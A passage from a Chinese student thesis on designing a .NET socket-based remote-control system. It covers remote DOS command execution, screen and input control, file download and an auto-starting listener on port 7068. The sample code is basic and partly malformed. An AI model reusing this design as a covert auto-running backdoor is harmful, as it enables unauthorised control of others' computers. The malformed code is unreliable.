

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)
文檔簡介
1、<p><b> 畢業(yè)論文</b></p><p><b> 開題報告書</b></p><p> 畢業(yè)論文選題:《計算機遠程控制》</p><p> 指 導 教 師:</p><p> 開 題 報 告 人:</p><p> 班
2、 級: 計算機科學技術(shù)(專升本)</p><p> 開 題 報 告 書</p><p> 隨著計算機網(wǎng)絡的飛速發(fā)展以及網(wǎng)絡技術(shù)的日益普及和大眾化,人們可以很方便地從Internet上獲取和自己工作生活密切相關(guān)的信息,世界也真正變成一個地球村,我們可以和世界上其他任何一個人通過計算機網(wǎng)絡進行溝通,信息資源達到了高度的共享。從這一點得到啟發(fā),希望能設計一個遠程控制系統(tǒng)
3、,通過它可以在家里控制辦公室里的計算機。如果你是軟件開發(fā)商,你的員工可以通過它在辦公室里遠程為客戶配置系統(tǒng)、對產(chǎn)品進行維護,如果客戶向你報告軟件產(chǎn)品出現(xiàn)問題你可以遠程對產(chǎn)品進行調(diào)試,最終解決問題。這樣員工就不會因長期的勞苦奔波而抱怨,用戶也不會因為你不能及時解決問題而和你討價還價,當然,也為公司節(jié)約了人力、財力和物力。</p><p> 遠程控制是在網(wǎng)絡上由一臺電腦(主控端/客戶端)遠距離去控制另一臺電腦(被控
4、端/服務器端)的技術(shù),這里的遠程不是字面意思的遠距離,一般指通過網(wǎng)絡控制遠端電腦,不過,大多數(shù)時候我們所說的遠程控制往往指在局域網(wǎng)中的遠程控制而言。當操作者使用主控端電腦控制被控端電腦時,就如同坐在被控端電腦的屏幕前一樣,可以啟動被控端電腦的應用程序,可以使用被控端電腦的文件資料,甚至可以利用被控端電腦的外部打印設備(打印機)和通信設備(調(diào)制解調(diào)器或者專線等)來進行打印和訪問互聯(lián)網(wǎng),就像你利用遙控器遙控電視的音量、變換頻道或者開關(guān)電視機
5、一樣。不過,有一個概念需要明確,那就是主控端電腦只是將鍵盤和鼠標的指令傳送給遠程電腦,同時將被控端電腦的屏幕畫面通過通信線路回傳過來。也就是說,我們控制被控端電腦進行操作似乎是在眼前的電腦上進行的,實質(zhì)是在遠程的電腦中實現(xiàn)的,不論打開文件,還是上網(wǎng)瀏覽、下載等都是存儲在遠程的被控端電腦中的。</p><p> 遠程控制具有一下優(yōu)點:便于用戶能夠在任何地方通過網(wǎng)絡及時,快速的訪問,控制自己的主機。特別是對于網(wǎng)絡管
6、理員,技術(shù)服務人員來說,遠程控制提供了一個便捷,高效的手段。</p><p> 當然,遠程控制軟件是一把雙刃劍,有優(yōu)點就會有缺點,它存在比較嚴重的安全隱患。一方面給用戶和網(wǎng)絡管理員工作帶了很大的方便,另一方面也給一些居心不良者留下后門。形成很多木馬程序。這就需要對軟件在設計方面做一些安全考慮。</p><p><b> 目錄</b></p><
7、p> 引言┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈1</p><p> 系統(tǒng)分析┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈3</p><p> 系統(tǒng)需求分析┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈3</p><p> 1.2系統(tǒng)功能分析┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈4</p><p>
8、; 1.3系統(tǒng)軟件模型┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈4</p><p> 二、系統(tǒng)體系結(jié)構(gòu)設計┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈4</p><p> 2.1 基本控制原理┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈4</p><p> 2.2 命令控制模塊┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈5</p><p>
9、 2.3 屏幕控制模塊┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈5</p><p> 2.4 鼠標控制模塊┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈5</p><p> 2.5 鍵盤控制模塊┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈5</p><p> 2.6 文件下載模塊┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈5</p><p>
10、 三、遠程控制系統(tǒng)的實現(xiàn)┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈6</p><p> 3.1 Socket技術(shù)基本原理┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈6</p><p> 3.1.1 Socket背景┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈7</p><p> 3.1.2 Socket的三種類型┈┈┈┈┈┈┈┈┈┈┈┈┈┈8</p><
11、p> 3.1.3 Socket類中的常規(guī)函數(shù)調(diào)用┈┈┈┈┈┈┈┈┈8</p><p> 3.2 .NET中的Socket編程┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈10</p><p> 3.3 客戶端實現(xiàn)┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈11</p><p> 3.3.1客戶端界面設計┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈11</p&
12、gt;<p> 3.3.2 連接遠程主機┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈11</p><p> 3.3.3 發(fā)送命令┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈12</p><p> 3.3.4 直接控屏┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈12</p><p> 3.3.5 幫助 ┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈13</p
13、><p> 3.4 服務端實現(xiàn)┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈14</p><p> 3.4.1 進行監(jiān)聽、時刻準備連接┈┈┈┈┈┈┈┈┈┈┈14</p><p> 3.4.2 程序設置自動運行┈┈┈┈┈┈┈┈┈┈┈┈┈┈14</p><p> 3.4.3 查看文件內(nèi)容┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈15</
14、p><p> 3.4.5 文件下載┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈15</p><p> 3.4.6 遠程屏幕抓取的實現(xiàn)┈┈┈┈┈┈┈┈┈┈┈┈┈15</p><p> 四、總結(jié)┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈16</p><p> 參考文獻:┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈17<
15、/p><p> 致 謝┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈18</p><p><b> 計算機遠程控制</b></p><p><b> 引言</b></p><p> 在如今這個信息高速發(fā)達的時代,人們之間的物理距離雖無太大變化,然而邏輯距離卻在一天天縮小。同時,鑒于交
16、通的繁忙,無紙辦公和遠程辦公的趨勢已然愈演愈烈!遠程控制應運而生。</p><p> 本文首先介紹了系統(tǒng)分析方面的一些內(nèi)容,緊接著開始介紹實現(xiàn)遠程控制基礎(chǔ)——Socket編程的基本概念,以及Windows的消息系統(tǒng),接著從建立Socket套接字開始,經(jīng)過逐個功能模塊的分析實現(xiàn),從命令控制到文件下載,到屏幕控制等。然后重點介紹了屏幕控制和文件下載功能。</p><p> 本系統(tǒng)在文件下載
17、方面,采用了文件流stream的方式進行文件傳輸,首先是通過命令控制中的dir命令,獲得文件路徑和文件名,然后將文件名傳到服務器端進行下載。在屏幕控制方面,是由客戶端發(fā)送命令src到服務器端,服務器響應后,進入相應的通訊進程。 客戶端發(fā)出獲取服務器屏幕圖像數(shù)據(jù)的請求,把從服務器接收到的圖像在本地實時顯示出來,并且及時發(fā)送鼠標在本地顯示圖像的動作給服務器。服務器則主要負責響應客戶端的請求并抓取與發(fā)送屏幕圖像,響應客戶端發(fā)送過來的鼠標、鍵盤
18、等的動作并反饋給客戶端。從而實現(xiàn)了對遠程計算機的直接控制。</p><p> 【關(guān)鍵詞】 :C\S、Socket、TCP\IP、流</p><p><b> Abstract</b></p><p> Now in this information era of high-speed developed the physical dist
19、ance between people, although do not have too big change, however logical distance but by narrowing. At the same time, given the busy traffic, the paperless office and telecommuting trend has intensified. Remote control
20、arises at the historic moment. </p><p> With the rapid development of network technology and popularization of the network in all trades and professions, remote control technical support will gradually occu
21、py the mainstream technical support. This article is about a Windows based remote control system developed by use of the network programming, the most common Socket technology and multi-thread programming, etc. And the r
22、emote control involves the technology and method for grade function prototype detailed explanation, can easily und</p><p> This paper first introduces to realize the remote control basics Socket basic conce
23、pts of programming, and the message system, then Windows Socket from establishing one begins, goes through the analysis of the functional modules from the command control to realize, file download, to screen control etc.
24、 Then mainly introduces screen control and file download function. </p><p> This system in file download aspects, using a document flow stream way file transfer, first is through the dir command, command an
25、d control get file path and filename, then will filename to the server to download. In the screen control, is by the client sends commands SRC to the server, server response, into the corresponding communication process.
26、 The client access server screen image data sent from the request, the server receives images in the local real-time display out, and timely send the </p><p> Key Words:C\S、Socket、TCP\IP、Stream</p>&
27、lt;p><b> 一 系統(tǒng)分析</b></p><p><b> 1.1系統(tǒng)需求分析</b></p><p> 如今的網(wǎng)絡,可以說已經(jīng)覆蓋了各行各業(yè),不論是有這方面基礎(chǔ)知識的,還是沒有的,都在使用它。這樣一來,在使用過程中,就難免會出些問題,有能力解決的,自然無所謂。而那些不具備解決這方面問題能力的人或企業(yè),在出了問題之后則會顯得
28、相對緊張些,甚至是恐慌。因為企業(yè)的運轉(zhuǎn)與這方面是緊密相連的,它出了問題,企業(yè)也就如機器失去電源般,無法運轉(zhuǎn)了。這個時候,企業(yè)自然會想到軟件提供商們,而這樣的問題由他們來負責解決也確實無可厚非。但是,那些軟件提供商們,總不能一天到晚常駐這些企業(yè)里,因此正常解決起來,并沒有想象中那么及時??墒牵绻覀儞碛羞h程控制的話,一切就迎刃而解了。通過遠程控制,軟件提供商方面的技術(shù)人員,可以在自己的辦公室里操作企業(yè)的機器,從而解決問題。為企業(yè)減少了損
29、失,也為自己減少了一些不必要的開支,還能提升自己在客戶心目中的企業(yè)形象,一舉數(shù)得,何樂而不為?</p><p> 遠程控制,顧名思義,就是像操作自己電腦一樣,去遠距離操控另一臺電腦。很顯然,這樣的系統(tǒng),一般就是采用C/S模式或者B/S模式。</p><p> 網(wǎng)絡應用程序的基本開發(fā)模式是C/S模式,其系統(tǒng)結(jié)構(gòu)式指把一個大型的計算機應用系統(tǒng)變?yōu)槎鄠€能互為獨立的子系統(tǒng)。服務器是整個應用系統(tǒng)
30、資源的存儲與管理中心,多臺客戶機則各自處理相應的功能,共同實現(xiàn)完整的應用。C/S模式一般基于傳輸層的TCP協(xié)議實現(xiàn)。主要特點是交互性強、具有安全的存取模式、網(wǎng)絡通信量低、相應速度快、利于處理大量數(shù)據(jù)。但該結(jié)構(gòu)的程序是針對性開發(fā),變更不夠靈活,維護和管理的難度較大,通常只局限于小型局域網(wǎng),不利于擴展,分布功能弱且兼容性差,缺少通用性。要求具有一定專業(yè)水準的技術(shù)人員去完成。</p><p> 而B/S模式則是一種特
31、殊的C/S模式,它用通用的瀏覽器程序和Web服務器分別代替了專用的客戶端程序和服務器端程序,簡化了C/S模式的應用。B/S模式簡化了客戶端,不需要在客戶端安裝特定應用程序,系統(tǒng)維護只需在Web服務器端進行,分布性強、維護方便、可擴展性好。但是B/S模式的實現(xiàn)是基于應用層的HTTP協(xié)議,傳輸數(shù)據(jù)中包含了大量的傳輸控制信息,有效數(shù)據(jù)的傳輸效率較低,數(shù)據(jù)安全性不強,不能滿足遠程控制系統(tǒng)在性能方面的要求。</p><p>
32、; 因此,相較之下,本系統(tǒng)采用C/S開發(fā)模式(Client/Server)。它由客戶端與服務端兩部分構(gòu)成。客戶/服務器模式的最顯著特點是非對等作用,即客戶相對于服務器處于不平等的地位,服務端提供服務,客戶端提供請求。其系統(tǒng)結(jié)構(gòu)如下圖1所示: </p><p><b> 1.2系統(tǒng)功能分析</b></p><p> 本軟件是由客戶端和服務器端兩部分組成的。而且需要
33、客戶端和服務器端同時運行相應的程序來實現(xiàn)。本軟件要實現(xiàn)的基本功能可以簡化如下:</p><p> 第一步,服務器端運行相應的遠程控制軟件服務器程序,使服務器端的某個端口處于監(jiān)聽狀態(tài)(本軟件端口設置為7068)。這樣服務器端計算機就時刻處于監(jiān)聽遠程計算機連接請求的狀態(tài)。</p><p> 第二步,當服務器端程序運行后,客戶端在本地計算機中運行相應程序的客戶端程序,運行這個客戶端程序時,會
34、指定一個要連接的服務器的IP地址和端口,(本軟件要求輸入服務端IP地址,端口是默認的7068。原則上不允許用戶更改端口),程序運行后,點擊連接就會向所在網(wǎng)絡搜索指定的計算機了。</p><p> 第三步,搜索到所指定的計算機后,客戶端計算機就向服務器端指定的端口發(fā)送連接請求(本軟件使用TCP連接),如果服務器端計算機同一端口處于監(jiān)聽狀態(tài),則服務器端接收客戶端的連接請求,并根據(jù)設定的值向客戶端發(fā)送接受請求確認信號
35、,并同時向客戶端發(fā)出登錄成功信息,客戶端顯示連接成功確認對話框。</p><p> 第四步,連接成功后,就可以進行命令控制、屏幕控制以及文件下載了。</p><p><b> 1.3系統(tǒng)軟件模型</b></p><p> 在本軟件設計中,采用典型的C/S結(jié)構(gòu),由客戶端與服務端兩部分構(gòu)成??蛻?服務器模式的最顯著特點是非對等作用,即客戶相對
36、于服務器處于不平等的地位,服務端提供服務,客戶端提供請求。</p><p> 二 系統(tǒng)體系結(jié)構(gòu)設計</p><p> 2.1 基本控制原理</p><p> 該遠程控制系統(tǒng)由服務器端和客戶端兩個部分組成,客戶端可以通過鼠標和鍵盤以及相應的命令控制服務器端的計算機。 實現(xiàn)遠程控制的機理是,受控機運行一個程序,用于偵聽端口并接受數(shù)據(jù)包,而控制方通過端口給受控方的
37、端口發(fā)送數(shù)據(jù)包。一共需編寫兩個程序,一個是控制方,另一個則是受控方,受控機等待控制機發(fā)送過來的指令然后執(zhí)行相應的操作。</p><p> 2.2 命令控制模塊</p><p> 此模塊直接接受DOS命令,另外自定義了三個命令src(屏幕控制)、Close(關(guān)閉套接字)和DownLoad(文件下載)。</p><p> 2.3 屏幕控制模塊</p>
38、<p> 可以讓客戶端用戶實時監(jiān)控服務器端計算機的運行狀態(tài)??蛻舳艘砸欢ǖ念l率向服務器發(fā)送請求,服務器響應客戶端的請求將自己的屏幕拷貝下來并將這些信息發(fā)送給客戶端,客戶端接收到這些信息之后以圖像的形式顯示出來,為鼠標和鍵盤控制提供圖形化接口。</p><p> 2.4 鼠標控制模塊</p><p> 可以讓客戶端用戶通過鼠標控制服務器端的計算機。其實現(xiàn)過程是客戶端軟件先捕
39、捉鼠標在圖形化接口(屏幕控制模塊提供的)中的動作,再將這些信息發(fā)送到服務器端,最后服務器端的服務程序向操作系統(tǒng)(并不是自己處理)發(fā)送這個動作的消息,這樣就如同在服務器端的操作系統(tǒng)上進行了相應的鼠標操作。</p><p> 2.5 鍵盤控制模塊</p><p> 可以讓客戶端用戶通過鍵盤控制服務器端計算機的輸入,其實現(xiàn)過程是客戶端軟件先捕捉鍵盤在圖形化接口中的動作,再將這些信息發(fā)送到服務
40、器端,服務器端的服務程序向操作系統(tǒng)發(fā)送這個動作的消息,這樣就如同在服務器端的操作系統(tǒng)上進行了相應的鍵盤輸入。這樣一來,如果服務器端的“Microsoft Word”為當前的活動窗口,則客戶端的鍵盤操作就如同有人在服務器端利用“Microsoft Word”進行文字編輯一樣。屏幕控制、鍵盤控制和鼠標控制模塊是在網(wǎng)絡狀況較好的情況下才會有較快的響應速度,如果網(wǎng)絡狀況不好將采用命令控制模塊進行遠程控制模塊進行遠程控制。這種控制方式有較多的限制
41、,需要根據(jù)具體的需求進行設計。</p><p> 2.6 文件下載模塊</p><p> 可以讓客戶端用戶下載服務端的相關(guān)文件??蛻舳擞脩?,只需傳一個文件路徑至服務端,軟件會自動給文件路徑加上前綴”download_”,服務器端收到帶前綴”download_”的消息時,便會自動去解析文件名并下載至用戶指定的客戶端文件路徑中。整個系統(tǒng)結(jié)構(gòu)如下所示:</p><p>
42、; 三 遠程控制系統(tǒng)的實現(xiàn)</p><p> 3.1 Socket技術(shù)基本原理</p><p> 網(wǎng)絡客戶/服務器模式的原理是一臺主機提供服務(服務器),另一臺主機接受服務(客戶機)。作為服務器的主機打開一個端口并進行監(jiān)聽, 如果有客戶機向服務器的這一端口提出連接請求, 服務器上的相應程序就會自動運行,來應答客戶機的請求。而Socket的正確使用,給設計者帶來了極大的方便,使得各種
43、應用程序能夠在Windows環(huán)境下順利進行各種網(wǎng)絡通訊。</p><p> 3.1.1 Socket背景</p><p> 20世紀80年代初,美國政府的高級研究工程機構(gòu)(ARPA)給加利福尼亞大學Berkeley分校提供資金,讓他們在UNIX操作系統(tǒng)下實現(xiàn)TCP/IP協(xié)議。在這個項目中,研究人員為TCP/IP網(wǎng)絡通信開發(fā)了一個應用程序接口(API)。這個API就稱為Socket接口。
44、今天,Socket接口是TCP/IP網(wǎng)絡最通用的API,也是在Internet上進行應用開發(fā)最為通用的API。</p><p> 實際上,Socket在計算機中提供了一個通信端口(ip:port)。通過這個端口,一臺計算機可以與任何一臺具有Socket接口的計算機通信。通信的基礎(chǔ)是套接字。一個套接字是通信的一端,在這一端上可以找到與其對應的一個名字。一個正在被使用的套接字都有它的類型和與其相關(guān)的進程,套接字存在
45、于通信域中。一個套接字通常和同一個域中的套接字交換數(shù)據(jù)(數(shù)據(jù)交換也可以穿越域的界限,但這時一定要執(zhí)行某種解釋程序)。應用程序在網(wǎng)絡上傳輸、接收的信息都通過這個套接字來實現(xiàn)。在應用開發(fā)中就像使用文件句柄一樣,可以對Socket句柄進行讀寫操作。</p><p> 開始使用套接字編程之前,首先必須建立這些概念:網(wǎng)間進程通訊,服務方式,客戶機/服務器模式。</p><p> 進程通信的概念最
46、初來源于單機系統(tǒng)。由于每個進程都在自己的地址范圍內(nèi)運行,為保證相互通信的進程之間既互不干涉又能協(xié)調(diào)一致工作,操作系統(tǒng)為進程通信提供了相應設施,如UNIX BSD中的管道(Pipe)、命名管道(Named Pipe)和軟中斷信號(Signal)、UNIX System V的消息(Message)、共享存儲區(qū)(Shared Memory)和信號量(Semaphore)等,但都僅限于用在本機進程之間的通信。網(wǎng)間進程通信要解決的是不同計算機進程
47、間的相互通信問題(可把同機進程通信看成是其中的一個特例)。為此,首先要解決的是網(wǎng)間進程標識問題,同一計算機上,不同進程可以用進程號(Process ID)作為唯一標識,但在網(wǎng)絡環(huán)境下,各個計算機獨立分配的進程號不能唯一的標識該進程。例如,計算機甲賦予某進程號45,在乙計算機中也可以存在45號進程,因此,“45號進程”這句話在網(wǎng)間計算機中就沒有意義。其次,操作系統(tǒng)支持的網(wǎng)絡協(xié)議眾多,不同協(xié)議的工作方式不同,地址格式也不一樣,因此,網(wǎng)間進程
48、通信還要解決多重協(xié)議的識別問題。</p><p> 在網(wǎng)絡分層結(jié)構(gòu)中,各層之間是嚴格單向依賴的,各個層次的分工和協(xié)作集中體現(xiàn)在相鄰層之間的界面上?!胺铡笔敲枋鱿噜弻又g關(guān)系的抽象概念,即網(wǎng)絡中各層向緊鄰上層提供一組操作。下層是服務提供者,上層是請求服務的用戶。服務的表現(xiàn)形式是原語(Primitive),如系統(tǒng)調(diào)用或庫函數(shù)等。系統(tǒng)調(diào)用是操作系統(tǒng)內(nèi)核向網(wǎng)絡應用程序或高層協(xié)議提供的服務原語。在國際標準化組織(ISO
49、)的術(shù)語中,網(wǎng)絡層及其以下各層又稱為通信子網(wǎng),只是提供點到點的通信,沒有程序或進程的概念。而傳輸層實現(xiàn)的是“端到端”通信,引進網(wǎng)間進程通信概念,同時也要解決差錯控制、流量控制、數(shù)據(jù)排序(報文排序)及連接管理等問題。為此提供不同的服務方式:面向連接(虛電路)的服務或無連接的服務。面向連接服務是電話系統(tǒng)服務模式的抽象,即每一次完整的數(shù)據(jù)傳輸都要經(jīng)過建立連接,使用連接及終止連接的過程。在數(shù)據(jù)傳輸過程中,各數(shù)據(jù)分組不攜帶目的地址,而使用連接號(
50、Connect ID)。本質(zhì)上,連接是一個管道,收發(fā)數(shù)據(jù)不但順序一致,而且內(nèi)容相同。其中TCP協(xié)議就提供面向連接的虛電路。無連接的服務是郵政系統(tǒng)服務的抽象,每個分組都攜帶完整的目的地址,各分組在系統(tǒng)</p><p> 在TCP/IP網(wǎng)絡應用中,通信的兩個進程間相互作用的主要模式就是客戶機/服務器模式(Client/Server)。即客戶向服務發(fā)出服務請求,服務接收到請求后,提供相應的服務??蛻魴C/服務器模式的建
51、立基于以下兩點:首先,建立網(wǎng)絡的起因是網(wǎng)絡中軟硬件資源、運算能力和信息不均等,需要共享,從而造就擁有眾多資源的主機提供服務,資源較少的客戶請求服務這一非對等作用;其次,網(wǎng)間進程通信完全是異步的,相互通信的進程間既不存在父子關(guān)系,又不共享內(nèi)存緩沖區(qū),因此需要一種機制為希望通信的進程間建立聯(lián)系,為兩者的數(shù)據(jù)交換提供同步,這就是基于客戶機/服務器式的TCP/IP。</p><p> 3.1.2 Socket的三種類型
52、</p><p> TCP/IP的Socket提供流式套接字、數(shù)據(jù)報套接字、原始套接字三種。</p><p> 3.1.2.1 流式套接字(STREAM)</p><p> 如果我們想讓發(fā)送出去的數(shù)據(jù)按順序無重復地到達目的地,那么就需要使用流式套接字。流式套接字提供一種可靠的面向連接地傳輸方法。數(shù)據(jù)無差錯,無重復地發(fā)送,而且按發(fā)送地順序進行接收。不論對單個數(shù)
53、據(jù)報,還是對整個數(shù)據(jù)包,流式套接字都提供一種流式數(shù)據(jù)傳輸,流式套接字使用TCP協(xié)議。此外,在數(shù)據(jù)傳輸時,如果連接斷開,應用程序會被通知。流式套接字內(nèi)設流量控制,避免數(shù)據(jù)流超限;數(shù)據(jù)被看成字節(jié)流,無長度限制。</p><p> 3.1.2.2 數(shù)據(jù)報套接字(DGRM)</p><p> 數(shù)據(jù)報套接字提供一種不可靠的,非連接的數(shù)據(jù)包(Packet)通信方式。在這里,”不可靠”是指發(fā)送一個
54、數(shù)據(jù)包不能獲得擔保,也不能保證數(shù)據(jù)包按照發(fā)送的順序到達目的地。數(shù)據(jù)包以獨立包形式被發(fā)送,不提供無錯保證,數(shù)據(jù)可能丟失或重復,并且順序混亂。在實現(xiàn)上,同一分組數(shù)據(jù)報可能不止一次的被發(fā)送。對于Socket的TCP/IP實現(xiàn),數(shù)據(jù)報套接字使用用戶數(shù)據(jù)報協(xié)議(UDP)。雖然在通常情況下,在同一臺計算機或在輕負載的局域網(wǎng)所連接的兩臺計算機的進程之間進行通信時,可能不會出現(xiàn)數(shù)據(jù)包不被發(fā)送或沒按照順序到達及又重復發(fā)送的情況,但在編寫應用程序時,應該注
55、意檢測意外發(fā)生的事件,應具備處理出現(xiàn)這些情況的能力。當然,如果為非常復雜的網(wǎng)絡(如Internet)編寫通信應用程序,就應該考慮到數(shù)據(jù)報套接字的不可靠性。如果我們的應用程序沒有處理好這個問題,它就有可能崩潰。盡管如此,數(shù)據(jù)報套接字在發(fā)送數(shù)據(jù)包或者記錄數(shù)據(jù)時仍然有用。另外,數(shù)據(jù)報套接字還提供向多個目的地發(fā)送廣播數(shù)據(jù)包的能力。</p><p> 3.1.2.3 原始套接字(RAW)</p><
56、p> 該接口允許對較低層協(xié)議,如IP,ICMP的直接訪問。它通常用于檢驗新的協(xié)議實現(xiàn)或訪問現(xiàn)有服務配置中的新設備。</p><p> 3.1.3 Socket類中的常規(guī)函數(shù)調(diào)用</p><p> 客戶應用程序與服務器應用程序間的通信,通常由一個規(guī)定的事件序列來完成。</p><p> 首先,客戶端和服務器端都要創(chuàng)建一個套接字。接著,服務器調(diào)用bind
57、()函數(shù)給套接字分配公認的端口(在開發(fā)應用程序時,這個公認的端口通常是指定的。例如本程序的端口就指定為7068)。這樣,客戶端和服務器端就使用同一個端口來表示服務器套接字。一旦服務器將公認的端口分配給了套接字,客戶端和服務器端都能使用Send()和Receive()來發(fā)送和接收數(shù)據(jù)報直到完成傳輸。然后調(diào)用close()來關(guān)閉套接字。下面具體看從給定套接字的一個地址開始的每一步工作是怎樣進行的。</p><p>
58、 3.1.3.1 創(chuàng)建套接字</p><p> 系統(tǒng)調(diào)用socket()函數(shù)向應用程序提供套接字手段時的聲明如下:</p><p> Public Socket(AddressFamily addressFamily,SocketType socketType,ProtocolType protocolType);</p><p> 該函數(shù)有三個參數(shù),其中參數(shù)
59、addressFamily指定通信發(fā)生的區(qū)域,在DOS,Windows系統(tǒng)中支持InterNetwork,它指網(wǎng)際網(wǎng)區(qū)域。</p><p> 參數(shù)socketType描述要建立套接字的類型。也就是指是流式套接字還是數(shù)據(jù)報套接字。</p><p> 參數(shù)ProtocolType說明該套接字使用的協(xié)議,常用的是TCP和UDP兩種協(xié)議。socket()函數(shù)根據(jù)這三個參數(shù)建立一個套接字,并將相
60、應的資源分配給它,同時返回一個套接字類型。</p><p> 3.1.3.2 服務器端地址綁定</p><p> 當一個套接字用socket()創(chuàng)建以后,bind()將套接字地址(主機地址和端口)與所創(chuàng)建的套接字編號聯(lián)系起來,即將名字賦予套接字。bind()聲明如下:</p><p> Socket Bind(EndPoint localEP);</p&
61、gt;<p> bind()函數(shù)只有一個參數(shù)EndPoint類型。它的原型是IPEndPoint (long IpAddress,int port);參數(shù)IpAddress是賦給套接字的本地地址。參數(shù)port指套接字監(jiān)聽的端口。</p><p> 綁定地址之后,就可以開始監(jiān)聽(listen)并進入等待連接(accept)狀態(tài)。</p><p> 3.1.3.3 建立套接
62、字連接</p><p> 建立套接字連接的請求來自客戶端,客戶端用到的函數(shù)是connect(),服務器用到的函數(shù)是accept()。connect()函數(shù)的原型聲明如下:</p><p> Socket Connect(IPEndPoint iep);</p><p> Connect()只有一個參數(shù)IPEndPoint,IPEndPoint的函數(shù)原型在之前已
63、經(jīng)已經(jīng)介紹過,此處不再贅述。Accept()函數(shù)原型聲明如下:</p><p> Socket Accept();</p><p> 該函數(shù)沒有參數(shù),在做accept函數(shù)調(diào)用前要先調(diào)用listen() ,連接成功,該函數(shù)返回一個SOCKET類型的值。</p><p> Socket(),bind(),connect(),accept()這四個套接字系統(tǒng)調(diào)用可以
64、完成一個完全的通信建立,包括協(xié)議,本地主機地址和端口,目的地址和端口。socket()指定協(xié)議元,他的用法與是否為客戶機和服務器,是否面向連接無關(guān),bind()指定本機地址和端口號,是面向連接的。服務器方必須調(diào)用bind()函數(shù)(當然,如果用TcpListener類,則另當別論);</p><p> 3.1.3.4 數(shù)據(jù)傳輸</p><p> 當連接建立以后,就可以開始傳輸數(shù)據(jù)了。通常
65、調(diào)用Send()和Receive()函數(shù)。Send()函數(shù)原型聲明如下:</p><p> int Send(byte[] buffer,int size,SocketFlags socketFlag);這是最常用的,另外還有七個重載方法,此處就不一一介紹了。</p><p> 該函數(shù)共有三個參數(shù),其中buffer指要發(fā)送的內(nèi)容(已轉(zhuǎn)為字節(jié)流)。字節(jié)流長度由size指定。socketF
66、lag是傳輸控制方式,如是否發(fā)送帶外數(shù)據(jù)等。函數(shù)返回發(fā)送的總字節(jié)數(shù)。若返回值為0,則說明發(fā)送失敗。</p><p> Receive ()函數(shù)一般在Accept()之后被調(diào)用,當沒有連接的時候,程序阻塞在Listen()函數(shù)處,一旦連接成功,則程序繼續(xù)往下,至Receive()處阻塞,直到客戶端有數(shù)據(jù)發(fā)送過來。其函數(shù)原型聲明如下:</p><p> int Receive(byte[]
67、 buffer,int size,SocketFlags socketFlag);</p><p> 參數(shù)的意義同Send()函數(shù);</p><p> 3.1.3.5 關(guān)閉套接字</p><p> Close()關(guān)閉套接字,并釋放分配給該套接字的資源,其函數(shù)原型為:</p><p> void Close();</p>
68、<p> 該函數(shù)不帶參數(shù),且沒有返回值。</p><p> 3.2 .NET中的Socket編程</p><p> .NET中對WinSock API函數(shù)進行了大量的封裝,主要存在于命名空間System.Net和System.Net.Sockets中。因此在.NET中進行Socket編程變得非常的容易。首先,我們需要引進上面提到的兩個命名空間。然后在服務端進行相應的編碼:&
69、lt;/p><p> public static Socket a_Socket=new Socket=new Socket</p><p> (AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);</p><p> IPAddress l_strIp=IPAddress.Parse(str
70、ing a_strIp);</p><p> TcpListener listen=new TcpListener (l_strIp,7068); //對端口7068進行監(jiān)聽</p><p> listen.Start();</p><p> a_Socket=listen.AcceptSocket(); //接受連接</p><p>
71、 服務端的服務啟動后,只要尚未檢測到連接請求,就會一直阻塞在listen.Start()處。直至監(jiān)聽到請求,并完成連接。</p><p> 客戶端的編碼則相對簡單,只要創(chuàng)建套接字,并取得服務端的ip和相應的端口,即可進行連接,代碼大致如下:</p><p> IPAddress myIP=IPAddress.Parse(ip);</p><p> IPEnd
72、Point remoteEP=new IPEndPoint (myIP,port);</p><p> Socket c_Socket=new Socket(AddressFamily.InterNetwork,</p><p> SocketType.Stream,ProtocolType.Tcp);</p><p> c_Socket.Connect(re
73、moteEP);</p><p><b> 3.3 客戶端實現(xiàn)</b></p><p><b> 主要實現(xiàn)功能:</b></p><p> 1)、通過命令控制,直接在被控端執(zhí)行DOS命令。并返回執(zhí)行結(jié)果。</p><p> 2)、從被控端下載文件至本地。</p><p&g
74、t; 3)、取得被控端屏幕,并進行控制。</p><p> 4)、重啟或關(guān)閉被控端計算機。</p><p> 5)、查看被控端文件內(nèi)容。</p><p> 3.3.1 客戶端界面設計</p><p> 相對服務器端(被控端)的設計,客戶端較為簡單。客戶端的設計選用了.NET中的Windows Applications框架。在窗口上添
